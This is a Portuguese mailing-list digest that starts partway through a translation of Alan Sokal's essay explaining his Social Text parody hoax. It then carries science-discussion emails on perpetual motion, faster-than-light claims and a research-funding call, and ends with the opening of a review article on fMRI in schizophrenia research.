milionésimo de um bilionésimo de um bilionésimo de um bilionésimo de um
centímetro - tem profundas implicações *políticas* (que são, é claro,
"progressivas"). Para dar suporte a esta proposição improvável, procedo da
seguinte forma: primeiro, eu cito alguns pronunciamentos filosóficos
controversos de Heisenberg e de Bohr, e afirmo (sem argumentar) que a física
quântica é profundamente consoante com a "epistemologia pós-modernista". A
seguir, eu reúno um pastiche - Derrida e a relatividade geral, Lacan e a
topologia, Irigaray e a gravidade quântica - mantidos juntos por retórica
vaga sobre "não-linearidade", "fluxo" e "interconexão". Finalmente, salto
(novamente sem argumentação) para a afirmação de que a "ciência
pós-modernista" aboliu o conceito de realidade objetiva. Em parte alguma se
encontra qualquer coisa que lembre uma seqüência lógica de pensamento;
encontram-se apenas citações de autoridade, jogos de palavras, analogias
forçadas e afirmações vazias.

Em suas passagens de conclusão, meu artigo se torna especialmente egrégio.
Tendo abolido a realidade como restrição na ciência, eu sigo adiante para
sugerir (mais uma vez sem argumentos) que a ciência, para ser "liberatória",
deve ser subordinada a estratégias políticas. Termino o artigo observando
que "uma ciência liberatória não pode ser completa sem uma profunda revisão
do cânone da matemática." Podemos ver pistas de uma "matemática
emancipatória," eu sugiro, "na lógica multidimensional e não-linear da
teoria de sistemas nebulosos [*fuzzy*]; mas esta abordagem ainda está
fortemente marcada por suas origens na crise das relações de produção do
capitalismo tardio." Adiciono ainda que "a teoria das catástrofes, com suas
ênfases dialéticas na suavidade/descontinuidade e na
metamorfose/não-desdobramento, terá um papel especial na matemática futura;
mas muito trabalho teórico ainda precisa ser feito antes que esta abordagem
possa se tornar uma ferramenta concreta da praxe política progressiva." É
compreensível que os editores da *Social Text* fossem incapazes de analisar
criticamente os aspectos técnicos de meu artigo (que é exatamente o motivo
pelo qual eles deveriam ter consultado um cientista). O que é mais
surpreendente é o quão prontamente eles aceitaram minha assertiva de que a
procura pela verdade na ciência deve ser subordinada à agenda política, e o
quão inconscientes estavam da falta global de lógica do artigo.

*Por que fiz isso?* Enquanto meu método foi satírico, minha motivação é
bastante séria. O que me diz respeito é a proliferação, não apenas da falta
de sentido e do pensamento descuidado *per se*, mas de um tipo particular de
falta de sentido e pensamento descuidado: aquele que nega a existência de
realidades objetivas, ou (quando desafiado) admite sua existência mas
despreza sua relevância prática. No máximo, um jornal como *Social
Text*levanta importantes questões que nenhum cientista deve ignorar -
questões,
por exemplo, sobre como financiamentos corporativos e governamentais
influenciam o trabalho científico. Infelizmente, o relativismo epistêmico
faz pouco para levar adiante a discussão sobre tais assuntos.

Em poucas palavras, meu interesse a respeito da proliferação do pensamento
subjetivo é tanto intelectual como político. Intelectualmente, o problema
com tais doutrinas é que elas são falsas (quando não simplesmente sem
sentido). *Existe* um mundo real; suas propriedades *não* são meras
construções sociais; fatos e evidência importam *de fato*. Que pessoa sã
poderia afirmar o contrário? Ainda assim, muito da teoria acadêmica
contemporânea consiste precisamente de tentativas para embaçar estas
verdades óbvias - a total absurdidade de tudo isso sendo ocultada através de
linguagem obscura e pretenciosa.

A aceitação de meu artigo pela *Social Text* exemplifica a arrogância
intelectual da Teoria - significando teoria pós-modernista literária -
levada ao seu extremo lógico. Não é de admirar que eles não tenham se
preocupado em consultar um físico. Se tudo é discurso e "texto," então o
conhecimento do mundo real é supérfluo; até mesmo a física se torna apenas
mais um ramo dos Estudos Culturais. Se, além disso, tudo é retórica e "jogos
de linguagem," a consistência lógica interna é igualmente supérflua: uma
pátina de sofisticação teórica serve igualmente bem. A incompreensibilidade
se torna uma virtude; alusões, metáforas e jogos de palavras se tornam
substitutos para evidência e lógica. Meu própria artigo é, quando muito, um
exemplo extremamente modesto deste gênero bem estabelecido.

Politicamente, estou irado porque a maior parte de (apesar de não toda) sua
insanidade emana da auto-proclamada Esquerda. Estamos testemunhando aqui uma
profunda *volte-face* histórica. Pela maior parte dos dois últimos séculos,
a Esquerda tem sido identificada com a ciência e contra o obscurantismo;
acreditamos que o pensamento racional e a análise sem medo da realidade
objetiva (tanto natural quanto social) são ferramentas incisivas para
combater as mistificações promovidas pelos poderosos - para não mencionar o
desejo da manutenção dos fins humanos sob sua própria posse. O recente
movimento de muitos humanistas acadêmicos e cientistas sociais
"progressistas" ou "esquerdistas" em direção a uma ou outra forma de
relativismo epistêmico trai esta respeitável herança e ameaça os já frágeis
prospectos da crítica social progressista. Teorizar sobre "a construção
social da realidade" não irá nos ajudar a encontrar um tratamento efetivo
para a AIDS ou criar estratégias para evitar o aquecimento global. Tampouco
podemos combater idéias falsas em história, sociologia, economia e política
se rejeitarmos as noções de verdade e falsidade.

Os resultados de meu pequeno experimento demonstram, no mínimo dos mínimos,
que alguns elegantes setores da Esquerda acadêmica Americana têm se tornado
preguiçosos. Os editores da *Social Text* gostaram de meu artigo porque
gostaram de sua conclusão: que "o conteúdo e a metodologia da ciência
moderna provê um poderoso suporte intelectual para o projeto político
progressista." Eles aparentemente não sentiram necessidade de analisar a
qualidade da evidência, a plausibilidade dos argumentos, ou mesmo a
relevância dos argumentos para a conclusão apresentada.

Claro, não esqueço as questões éticas envolvidas em meu bastante heterodoxo
experimento. Comunidades profissionais operam em alto grau com base na
confiança; fraudes abalam esta confiança. Mas é importante entender
exatamente o que eu fiz. Meu artigo é um ensaio teórico baseado inteiramente
em fontes disponíveis publicamente, sendo que apresentei notas de rodapé a
todas elas. Todos os trabalhos citados são reais, e todas as citações são
rigorosamente acuradas; nenhuma foi inventada. Agora, é verdade que o autor
não acredita em seu próprio argumento. Mas por que isso deveria importar? O
dever dos editores como eruditos é julgar a validade e interesse das idéias,
sem se preocupar com sua origem. (Eis por que muitos jornais eruditos
praticam arbitragem cega.) Se os editores da *Social Text* acham meus
argumentos convincentes, então por que deveriam ficar desconcertados
simplesmente por que eu não os acho? Ou eles são mais deferentes à assim
chamada "autoridade cultural da tecnociência" do que eles se importariam em
admitir?

No fim, recorri à paródia por uma simples e pragmática razão. Os alvos de
minha crítica já se tornaram uma subcultura acadêmica auto-perpetuante, que
tipicamente ignora (ou desdenha) a crítica racional a partir do lado de
fora. Em tal situação, uma demonstração mais direta dos padrões intelectuais
da subcultura foi necessária. Mas como mostrar que o imperador está nu? A
sátira é, de longe, a melhor arma; e o golpe que não pode ser apagado é
aquele golpe auto- infligido. Ofereci aos editores da *Social Text* uma
oportunidade de demonstrar seu rigor intelectual. Eles passaram no teste?
Acho que não.

Não digo isso com alegria, mas com tristeza. Afinal, também sou esquerdista
(sob o governo sandinista eu lecionei matemática na Universidade Nacional da
Nicarágua). Em praticamente todas as questões políticas - incluindo muita
ciência e tecnologia relacionadas - estou no mesmo lado que os
editores da *Social
Text*. Mas sou um esquerdista (e feminista) *por causa* da evidência e da
lógica, e não apesar destas. Por que deveria-se permitir que a facção de
direita detenha o monopólio do alto nível intelectual?

E por que deveria o absurdo auto-indulgente - qualquer que seja sua
orientação política professada - ser laureada como o topo das conquistas
eruditas?

------------------------------

Alan Sokal é Professor de Física na Universidade de Nova Iorque. É co-autor,
com Roberto Fernández e Jürg Fröhlich, de *Random Walks, Critical Phenomena,
and Triviality in Quantum Field Theory *(Springer, 1992), e co-autor, com
Jean Bricmont, de *Les impostures scientifiques des philosophes
(post-)modernes*.

*SIDEBAR: EXCERPT FROM ARTICLE*

Thus, general relativity forces upon us radically new and counterintuitive
notions of space, time and causality; so it is not surprising that it has
had a profound impact not only on the natural sciences but also on
philosophy, literary criticism, and the human sciences. For example, in a
celebrated symposium three decades ago on *Les Langages Critiques et les
Sciences de l'Homme*, Jean Hyppolite raised an incisive question about
Jacques Derrida's theory of structure and sign in scientific discourse ...
Derrida's perceptive reply went to the heart of classical general
relativity:

The Einsteinian constant is not a constant, is not a center. It is the very
concept of variability--it is, finally, the concept of the game. In other
words, it is not the concept of some*thing*--of a center starting from which
an observer could master the field--but the very concept of the game ...

In mathematical terms, Derrida's observation relates to the invariance of
the Einstein field equation *G*μν = 8π*T*μν under nonlinear space-time
diffeomorphisms (self-mappings of the space-time manifold which are
infinitely differentiable but not necessarily analytic). The key point is
that this invariance group "acts transitively'': this means that any
space-time point, if it exists at all, can be transformed into any other. In
this way the infinite-dimensional invariance group erodes the distinction
between observer and observed; the of Euclid and the *G* of Newton, formerly
thought to be constant and universal, are now perceived in their ineluctable
historicity; and the putative observer becomes fatally de-centered,
disconnected from any epistemic link to a space-time point that can no
longer be defined by geometry alone.

--

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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: MOTO PERPÉTUO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "azribeiro" <azribeiro@uol.com.br>
DATE: 16/08/2007 20:09

Olá 'azribeiro',

com 1 kgf eu posso levantar 100 kgf, brincando! Com 1 kgf eu posso até levantar uma tonelada de peso! Por que não? Basta usar uma talha apropriada ou uma combinação de polias! Até ai não há nenhum problema ou mistério.

Acontece que usando 1 kgf para levantar 100 kgf, eu devo puxar a corda de 100 metros para a carga de 100 kgf levantar 1 metro! Usando 1 kgf para levantar uma tonelada-força, eu devo puxar a corda de 1000 metros para que a 1 tonelada suba de 1 metro!

O que se ganha em força, perde-se em distância --- é a lei Áurea da Mecânica!

No seu exemplo, cada 1 litro de água que desce pode levantar 3 litros que sobem --- mas, para os 3 litros subir 10 metros, aquele 1 litro deve descer 30 metros!

Se sua torre tiver 10 metros de altura, o "1 litro" desce 10m e o "3 litros" sobe apenas 3,3 metros --- quem vai levar esses "3 litros" 6,7 metros acima que faltam para chegar ao alto da torre?

Entendeu!

Nada funciona de graça!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "azribeiro" <azribeiro@uol.com.br>
Para: "leobarretos" <leobarretos@uol.com.br>
Enviada em: quinta-feira, 16 de agosto de 2007 09:33
Assunto: MOTO PERPÉTUO


Leo,

Não sou cientista, aliás, conheço muito pouco de física, pois minha formação é contábil.

No entanto, em minhas andanças pela internet deparei-me com o "sistema de polias", que promete elevar mais peso do que a força despendida.
Vi exemplos em que 1 kg pode elevar 3 kg.

Aí imaginei um sistema de elevação de água, conforme descrevo abaixo:

Seria uma torre construída sobre um local com água (lago, lagoa, etc...) contendo um reservatório em seu topo.

Acima deste reservatório seria montado o "sistema de polias", que por um lado seria acoplado um vasilhame com capacidade para 3 ou múltiplos de três litros de água e no outro com capacidade de 1 ou múltiplos respeitada a proporcionalidade de peso.

Ora se ao descer cheia a vasilha de 1 litro elevasse a vasilha de 3 litros cheia, então este "geringonça" poderia ser moto contínua?

Clareando mais:

As vasilhas seriam construída de forma que deslizassem por trilhos com rolamentos para diminuir o atrito e seu formato favorecesse o tombamento para despejar a água no final do curso, ou seja, com a boca maior que o fundo e um lado e a base retas.

O funcionamento seria assim:

Incialmente a vasilha menor seria enchida pela água contina no reservatório superior - haveria um mecanismo de liberação da água, direcionada para este vasilhame toda vez que essa batesse no topo do sistema - e ao encher 1 litro, p.e., ao descer elevaria a outra vasilha
contendo 3 litros captados no reservatório inferior. Este ao chegar no topo do sistema despejaria seu conteúdo no reservatório superior e, daí, desceria vazio, no entanto, com peso tres vezes maior, elevaria a vasilha menor que ao chegar no topo bateria no mecanismo de liberação da água e assim sucessivamente.

Onde está o erro?



SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/08/2007 20:16

----- Original Message -----
From: "Nando"
Sent: Thursday, August 16, 2007 4:48 PM
Subject: [ciencialist] Cientistas alegam ter quebrado a velocidade da
luz

> "Até o momento, esta foi a única violação da teoria da relatividade
> que eu conheço", disse Nimtz à revista New Scientist. Viajar mais
> rápido do que a luz pode levar a uma variedade bizarra de
> conseqüências, como um astronauta chegar a um destino antes mesmo de
> partir.

Vejo uma falácia lógica neste argumento. Então vejamos:

1) Ao admitir a possibilidade do "viajar mais rápido do que a luz",
obviamente o autor da frase está assumindo a violação da teoria da
relatividade, logo não pode mais tomá-la como verdadeira ao prosseguir
suas argumentações.

2) Ao afirmar que "o astronauta chega a um destino antes mesmo de
partir", o autor está implicitamente admitindo a veracidade da teoria
da relatividade (que a luz emitida pelo astronauta viaja numa
velocidade c constante e independente da velocidade em que o
astronauta viaja, ou seja, independente do referencial, qualquer que
ele seja).

Suponhamos, por absurdo, que as coisas não sejam exatamente assim,
como colocado em (2). Ou seja, que ao adquirir uma velocidade v
razoável (daquelas que os físicos chamam por velocidades
relativísticas) a velocidade da luz, emitida pelos objetos que estão
nesta velocidade, não seja mais igual a c, mas multiplicada por um
fator dependente de v [tanto v quanto a velocidade da luz emitida
pelos objetos na velocidade v, devem ser pensadas como referidas ao
referencial em repouso, no caso fixo à Terra, de onde o astronauta
partiu]. Neste caso, a luz emitida pelo astronauta estaria sempre
fugindo do astronauta. Logo, ao voltar ao repouso, ele jamais se
enxergaria chegando e não haveria porque sequer pensar em inversão
do tempo ["chegar ao destino antes de partir"].

Aliás, já comentei algo a esse respeito, ainda que num contexto
ligeiramente diferente, na msg 54489, de 11 de maio de 2006 e que pode
ser lida a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/vesuplu.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: R$ 5 milhões para publicações científicas
FROM: Observatório Monoceros <observatorio.monoceros@gmail.com>
TO: "Monoceros-Grupo" <Observatorio_Monoceros@yahoogrupos.com.br>
CC: "NOVIDADES_GEA" <novidades-gea@yahoogrupos.com.br>, "ClubedAstronomia" <ClubedAstronomia@yahoogrupos.com.br>, <circulares_astronomicas@yahoogrupos.com.mx>, "Ciencialist" <ciencialist@yahoogrupos.com.br>, "Moderador do grupo Astronomynews" <Astronomynews-owner@yahoogrupos.com.br>, <astronomynews@yahoogrupos.com.br>, Urânia <urania_br@yahoogrupos.com.br>, "REANET" <reanet@yahoogrupos.com.br>
DATE: 16/08/2007 20:39




R$ 5 milhões para publicações científicas
Terça-Feira, 14 de Agosto de 2007
Assessoria de Imprensa da Capes

O Conselho Nacional de Desenvolvimento Científico e Tecnológico do
Ministério da Ciência e Tecnologia (CNPq/MCT) e a Coordenação de
Aperfeiçoamento de Pessoal de Nível Superior do Ministério da Educação
(Capes/MEC) estão com edital aberto para financiamento de publicações de
periódicos científicos brasileiros. Serão destinados R$ 5 milhões para
apoiar os projetos.

As duas agências querem contribuir para aumentar o nível de qualidade
das revistas de diversas áreas do conhecimento da ciência e tecnologia.
Podem concorrer ao financiamento pesquisadores que editam periódicos
científicos nacionais ligados à instituição, sociedade científica
brasileira e dirigentes de entidades mantenedoras nacionais.

Serão prioridade as propostas de revistas divulgadas simultaneamente na
internet, com acesso aberto, e em todas as áreas do conhecimento. Os
projetos devem apresentar periódicos que já tenham circulação mínima nos
três últimos anos, possuir abrangência nacional ou internacional no
corpo editorial, conselho científico e colaboradores, com afiliação
institucional em todos os fascículos. A publicação deve ser formada por
artigos dedicados a uma determinada área ou subárea do conhecimento,
sendo 80% científicos ou técnico-científicos sobre pesquisas originais e
não divulgadas em outras revistas.

As inscrições para o edital pode ser feitas até às 18h do dia 26 de
setembro de 2007, pelo endereço http://efomento.cnpq.br/efomento/. O
resultado será divulgado na primeira quinzena de novembro de 2007 nas
páginas do CNPq e da Capes. (Assessoria de Imprensa da Capes com
informações do CNPq).


-------------------------------------------------------------------------
Lucimary Vargas de Oliveira Guardamino Espinoza
Presidente
Observatório Astronômico Monoceros
Estacão Meteorológica Nº083/5ºDISME-INMET
CEPESLE / AHAP
Além Paraíba-MG-Brasil
www.monoceros.xpg.com.br
http://astronomicando.blogspot.com/
www.arquivohistorico-mg.com.br
http://br.groups.yahoo.com/group/Observatorio_Monoceros/
MSN: observatoriomonoceros@hotmail.com
--------------------------------------------------------------------------



SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/08/2007 20:57

Oi Alberto,

relativamente à sua visita aqui pelo C-List, e nada a ver com o tema, pergunto onde está aquele seu artigo diferenciando gases e vapores? Vire e mexe re-aparece a pergunta e eu perco o mapa da mina.

Agora, à relatividade:

se o astronauta está com uma boa 'velocidade relativista', digamos 0,8c, a luz que "parte" dele terá valor 'c', em relação ao astronauta (sempre 'c', em relação à fonte que a emitiu), e que velocidade teria em relação ao referencial Terra no qual está se medindo os tais 0,8c? Seria 0,2c?


aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 16 de agosto de 2007 20:16
Assunto: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz


----- Original Message -----
From: "Nando"
Sent: Thursday, August 16, 2007 4:48 PM
Subject: [ciencialist] Cientistas alegam ter quebrado a velocidade da
luz

> "Até o momento, esta foi a única violação da teoria da relatividade
> que eu conheço", disse Nimtz à revista New Scientist. Viajar mais
> rápido do que a luz pode levar a uma variedade bizarra de
> conseqüências, como um astronauta chegar a um destino antes mesmo de
> partir.

Vejo uma falácia lógica neste argumento. Então vejamos:

1) Ao admitir a possibilidade do "viajar mais rápido do que a luz",
obviamente o autor da frase está assumindo a violação da teoria da
relatividade, logo não pode mais tomá-la como verdadeira ao prosseguir
suas argumentações.

2) Ao afirmar que "o astronauta chega a um destino antes mesmo de
partir", o autor está implicitamente admitindo a veracidade da teoria
da relatividade (que a luz emitida pelo astronauta viaja numa
velocidade c constante e independente da velocidade em que o
astronauta viaja, ou seja, independente do referencial, qualquer que
ele seja).

Suponhamos, por absurdo, que as coisas não sejam exatamente assim,
como colocado em (2). Ou seja, que ao adquirir uma velocidade v
razoável (daquelas que os físicos chamam por velocidades
relativísticas) a velocidade da luz, emitida pelos objetos que estão
nesta velocidade, não seja mais igual a c, mas multiplicada por um
fator dependente de v [tanto v quanto a velocidade da luz emitida
pelos objetos na velocidade v, devem ser pensadas como referidas ao
referencial em repouso, no caso fixo à Terra, de onde o astronauta
partiu]. Neste caso, a luz emitida pelo astronauta estaria sempre
fugindo do astronauta. Logo, ao voltar ao repouso, ele jamais se
enxergaria chegando e não haveria porque sequer pensar em inversão
do tempo ["chegar ao destino antes de partir"].

Aliás, já comentei algo a esse respeito, ainda que num contexto
ligeiramente diferente, na msg 54489, de 11 de maio de 2006 e que pode
ser lida a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/vesuplu.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



##### ##### #####

Página de apoio
http://www.ciencialist.com


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SUBJECT: Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 22:03

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> se o astronauta está com uma boa 'velocidade relativista', digamos
> 0,8c, a luz que "parte" dele terá valor 'c', em relação ao
> astronauta (sempre 'c', em relação à fonte que a emitiu), e que
> velocidade teria em relação ao referencial Terra no qual está se
> medindo os tais 0,8c? Seria 0,2c?

Seria 'c' tb.

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Star Trek: Alumínio transparente vem aí?
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/08/2007 22:25


Alumina transparente é um treco pra lá de manjado!
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Star Trek: Alumínio transparente vem aí?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 23:17

--- Em ciencialist@yahoogrupos.com.br, murilo filo <avalanchedrive@...>
> Alumina transparente é um treco pra lá de manjado!

A notícia não é sobre isso. É sobre a vitrificação de um elemento
metálico.

[]s,

Roberto Takata



SUBJECT: Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 00:05

--- Em ciencialist@yahoogrupos.com.br, Nando <nando.str@...> escreveu
> Quinta, 16 de agosto de 2007, 14h54 Atualizada às 14h52
>
> Dois cientistas alemães alegam ter conseguido quebrar a velocidade
> da luz a partir de uma experiência com prismas, informou nesta
> quinta-feira o jornal britânico Telegraph. Se provado, o feito pode
> pôr em dúvida a teoria da relatividade, de Albert Einstein.
> http://noticias.terra.com.br/ciencia/interna/0,,OI1833948-EI238,00.html
>

Aephraim Steinberg, da Universidade de Toronto, explicou ao portal
'Eurekalert' o que pode ter causado a confusão. Ele compara o
experimento dos fótons com um trem deixando uma estação com 20 vagões.

No momento em que o vagão central deixa a estação, uma pessoa aciona
um cronômetro, para observar a velocidade do trem. Conforme chega nas
suas paradas programadas, o trem deixa alguns vagões pelo caminho. Ao
chegar ao destino final, há apenas dois vagões. Se o cronômetro for
parado no momento em que o centro do trem chega, vai parecer que ele
veio a uma velocidade muito maior que a real. 'Se você está nas
estações, vai parecer que essas pessoas ultrapassaram os limites de
velocidade. Elas chegaram antes do previsto. Mas você só está vendo
aquelas que estavam no primeiro vagão. Elas tiveram uma vantagem, mas
nunca estiveram rápidas demais'.
http://g1.globo.com/Noticias/Ciencia/0,,MUL89334-5603-6240,00.html
-----------------
[]s,

Roberto Takata



SUBJECT: [RN] Cientistas desvendam 'guardiã da memória'
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 00:16

Pesquisadores identificam proteína essencial para a preservação das
lembranças. Tal qual uma máquina, ela não pode nunca parar, ou a
memória 'trava'.
http://g1.globo.com/Noticias/Ciencia/0,,MUL89269-5603,00.html
--------------
[]s,

Roberto Takata



SUBJECT: Ressonância magnética funcional e sua contribuição para o estudo da cognição em esquizofrenia
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 17/08/2007 00:52

*Ressonância magnética funcional e sua contribuição para o estudo da
cognição em esquizofrenia*



Silvia M Arcuria,b e Philip K McGuireb

aInstituto de Psiquiatria do Hospital das Clínicas da Faculdade de Medicina
da Universidade de São Paulo (FMUSP). bInstitute of Psychiatry, University
of London, London, UK
------------------------------





INTRODUÇÃO

Um dos maiores desafios no campo das ciências cognitivas é identificar os
substratos neurais dos comportamentos.1 O desenvolvimento da tecnologia em
neuroimagem funcional nos últimos cinco anos está provocando um rápido
avanço no conhecimento das funções cerebrais, o que resultou numa explosão
de achados novos na psiquiatria. O uso da ressonância magnética funcional
(RMf) na pesquisa em esquizofrenia é um bom exemplo de como esse avanço
tornou possível a investigação de aspectos complexos das doenças mentais. A
pesquisa nessa área é muito diversificada, incluindo estudos em diferentes
campos do conhecimento como fenomenologia, epidemiologia, genética e
neuropsicologia, entre outros. O presente artigo apresenta de forma sucinta
as tendências atuais dos estudos que empregam RMf na pesquisa da
esquizofrenia, mais especificamente na área da cognição, sem pretender ser
uma revisão da literatura na área. Algumas considerações sobre cuidados,
facilidades e dificuldades no uso dessa técnica e sobre como a RMf pode
trazer melhor entendimento da fisiopatologia dos fenômenos mentais também
são apresentadas.

*RMf e pesquisa: considerações metodológicas *
* *

*O que é RMf*

As técnicas de ressonância magnética baseiam-se no princípio de que os
núcleos dos átomos, que em estado normal giram com spins em orientações
randômicas, quando colocados num campo magnético, se orientam. Se a esses
núcleos orientados for aplicado um pulso de rádio-freqüência, eles absorvem
e emitem uma quantidade de energia cuja freqüência precisa de ressonância
depende das próprias características do núcleo e do campo magnético. Quando
o cérebro é submetido a um campo magnético ao qual uma freqüência de rádio é
superimposta, seus tecidos emitem freqüências diferentes por terem
constituições físico-químicas distintas. Isso torna possível diferenciar os
sinais emitidos pela substâncias cinzenta ou branca e também pelo líquido
céfalo-raquidiano (LCR), gerando uma imagem de grande precisão espacial. No
caso da RM funcional, essa diferenciação permite detectar alterações da
atividade neuronal local com a precisão de milímetros. O processamento de
informações num determinado circuito cerebral traduz-se por uma
intensificação da atividade neuronal, com conseqüente influxo de sangue
oxigenado. O gradiente de oxihemoglobina/desoxihemoglobina das vênulas
locais provoca uma distorção do campo magnético local. Demonstrou-se que
essa distorção reflete diretamente a atividade neuronal local.2

*Tipos de desenhos*

Os estudos de RMf utilizam dois tipos de paradigmas: o em bloco e o
evento-relacionado. Por problemas técnicos, até há poucos anos, só era
possível realizar estudos com o desenho em bloco, onde a menor unidade de
resolução temporal era da ordem de meio minuto. Esse desenho baseia-se no
princípio da subtração de imagens. O indivíduo escaneado desempenha a tarefa
que se quer estudar durante a chamada "fase ativa". Essa fase é alternada
com uma fase de repouso e, em caso de tarefas mais complexas, também com uma
"fase inativa", na qual é realizada uma tarefa complementar que tem
características muito semelhantes às da fase ativa, porém com uma variação
no componente cognitivo estudado, de modo que este possa ser isolado. A
subtração das imagens das fases ativa e inativa e a comparação dessas com a
fase de repouso permite a detecção de alterações da atividade cerebral
específicas à tarefa que se quer estudar. O avanço recente da tecnologia
nessa área tornou possível escanear a atividade de todo o cérebro em apenas
alguns segundos. Esse novo método de aquisição de imagens de RMf melhorou
muito sua resolução temporal. Nasceu a imagem de RMf evento relacionada.
Pode-se hoje detectar a ativação cerebral derivada de um único evento
cognitivo que tem a duração de segundos. Apesar de ainda estarmos longe da
resolução temporal dos métodos eletrofisiológicos (que é da ordem de
milissegundos, tempo real de disparo dos neurônios), os desenhos de RMf
evento-relacionados estão contribuindo para o rápido avanço do conhecimento
nessa área.

*Vantagens e desvantagens da RMf*

A detecção de eventos em grande velocidade ampliou a possibilidade de
emprego da técnica de RMf para o estudo de fenômenos mais transientes que se
aproximam do tempo real da atividade cerebral. Por se tratar de um
procedimento não-invasivo, um mesmo indivíduo pode fazer o exame de RMf
repetidas vezes, sem que isso lhe cause prejuízos. Nesse sentido, a RMf
trouxe vantagens para o estudo da fisiopalotogia dos fenômenos mentais sem
precedentes na história da medicina. Ficou mais fácil caracterizar
correlatos neurofuncionais específicos de sintomas que têm grande
variabilidade temporal, como o transtorno do pensamento (veja abaixo,
estudos de sintomas). Por se tratar de uma técnica que avalia a atividade
cerebral de forma dinâmica, a RMf permite também detectar mudanças mais
sutis do funcionamento cerebral, sendo empregada atualmente na avaliação dos
resultados de tratamentos não-farmacológicos como, por exemplo, de terapia
cognitiva. Seguindo a mesma linha, estão os estudos que avaliam os
correlatos neurofuncionais de tratamentos medicamentosos, em que as imagens
de ativação cerebral de RMf proporcionam uma perspectiva diferente ao
entendimento da ação de novas drogas, por exemplo, os antipsicóticos
atípicos.3

Em contrapartida, a RMf tem alguns aspectos que tornam seu uso em pesquisa
muitas vezes difícil, principalmente no campo da psiquiatria. A
claustrofobia e a ansiedade causadas pelo fato de que o sujeito tem que ser
escaneado dentro de um túnel estreito e escuro são sintomas muito comuns no
dia-a-dia da RMf. Esse é um problema tão sério que até se tornou objeto de
pesquisa na área.4,5 Outro problema é o barulho da máquina, que pode ser
extremamente desconfortável para quem está dentro dela, além de interferir
no próprio objeto de estudo quando esse envolve o processamento auditivo, se
não forem adotados os cuidados metodológicos necessários.6 Caso o fenômeno a
ser estudado seja um sintoma psicótico, problemas intrínsecos ao estado
mental do paciente podem superimpor-se aos já citados. Por exemplo, a
ambivalência ou a impulsividade tornam esse tipo de paciente mais
intolerante ao desconforto causado pela máquina. Isso pode causar situações
de estresse freqüentemente imprevisíveis, mesmo que os critérios de seleção
e preparo do paciente para o procedimento tenham sido rígidos. A RMf pode
também alterar de forma importante o paradigma a ser estudado e,
conseqüentemente, o fenômeno mental a ser escaneado. Por exemplo, uma tarefa
cognitiva que fora da máquina é relativamente rápida (15 minutos), pode
passar a durar de 40 a 60 minutos, quando realizada dentro da máquina de
RMf, pelo simples fato de que existe um "tempo de recuperação" do campo
magnético, que é independente da tarefa cognitiva em si. Nem todos esses
detalhes técnicos foram resolvidos, o que impulsiona o desenvolvimento da
pesquisa nessa área e é motivo de reflexão com relação ao tipo de
conhecimento gerado pela RMf.7

*Pesquisa em esquizofrenia: tendências atuais *
* *

*Estudos de sintomas *

A esquizofrenia é uma síndrome cuja etiopatogenia é ainda muito
desconhecida.8 Sua apresentação clínica é extremamente rica e seus sintomas
variam bastante entre os pacientes, no decorrer do tempo, no mesmo paciente.
Isso resulta numa constante mudança de seus critérios diagnósticos, podendo
causar angústia na prática clínica. A dificuldade em se definir o que é
patognomônico na esquizofrenia provocou uma das tendências atuais em sua
pesquisa, que é o estudo de sintomas específicos, como alucinação auditiva,
9,10 transtorno do pensamento11-13 ou sintomas negativos.14 Comparam-se
pacientes com o mesmo diagnóstico (por exemplo, esquizofrenia) que
apresentem ou não o sintoma estudado, seja em desenhos que buscam diferenças
entre grupos,15 seja em desenhos onde a intensidade desse sintoma é
correlacionada ao desempenho dos indivíduos em determinadas tarefas
cognitivas.16 Uma outra maneira de se estudar sintomas é a pesquisa dos
correlatos neurofuncionais de processos cognitivos não-patológicos
supostamente relacionados ao sintoma como o estudo da "auto-monitoração" da
